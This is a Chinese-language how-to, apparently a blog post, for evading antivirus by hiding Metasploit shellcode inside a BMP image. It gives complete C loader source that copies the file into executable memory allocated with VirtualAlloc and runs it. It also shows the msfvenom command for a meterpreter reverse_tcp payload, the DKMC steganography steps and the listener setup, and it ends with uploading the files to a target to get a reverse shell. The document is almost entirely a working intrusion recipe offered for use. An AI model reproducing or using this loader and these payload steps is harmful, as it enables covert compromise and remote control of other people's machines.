参考资料:
- B站yuppt【学习分享】分离免杀shellcode
- #include《stdlib.h》作用
- #include〈stdio.h〉有什么作用
- C/C++文件读写操作——FILE*、fstream、windowsAPI
- fseek函数
- ftell函数
- fread函数
- VirtualAlloc的正确用法
- 使用windows内存-VirtualAlloc
- memcpy函数
- C语法陷阱:理解((void()())0)()
- Mr-Un1k0d3r大佬的LSB隐写项目 —— DKMC
一、shellcode加载器(获取图片里面的shellcode)
- 使用编辑器进行编译生成shell.exe文件
#define _CRT_SECURE_NO_WARNINGS
// 编制WINDOWS窗口程序
#include <Windows.h>
// 标准库
#include <stdlib.h>
// 标准输入输出
#include <stdio.h>
int main() {
FILE* fp; // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义
size_t size; // 定义文件字节数变量size
unsigned char* buffer; // 定义缓存指针变量
fp = fopen("DKMC.bmp", "rb");
// fseek()负号前移,正号后移
fseek(fp, 0, SEEK_END); // 文件指针指向文件末尾
// ftell()返回给定流 stream 的当前文件位置
size = ftell(fp); // size值为文件大小
fseek(fp, 0, SEEK_SET); // 文件指针指向文件开头
buffer = (unsigned char*)malloc(size); // 动态申请图片大小的内存空间(数组指针)
fread(buffer, size, 1, fp); // 从fp读取和显示1个size大小的数据
// 申请虚拟内存
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size); // 从buffer复制size个字节到exec中
// ((void(*)())x)将变量x转换为指向返回值为void的函数的指针类型
// 所以这里exec变成了返回值为void的函数的函数名
((void(*) ())exec)(); // 执行图片中的shellcode
return 0;
}
二、生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=4444 -f c -o ./shellcode.txt
-
处理shellcode:清除双引号,将shellcode变成一行
三、LSB图片隐写
- 使用DKMC将shellcode隐写到bmp文件中
下载
$ git clone https://github.com/Mr-Un1k0d3r/DKMC
$ cd DKMC
$ mkdir output
使用
$ python dkmc.py
$ gen
$ set shellcode <刚刚生成的shellcode>
$ run
四、执行获取目标反弹shell
- 开启监听
$ msfconsole -r win.rc
-
将编译好的shell.exe文件和生成的bmp文件上传到目标机器同一位置
- 执行shell.exe文件
- 成功获得反弹shell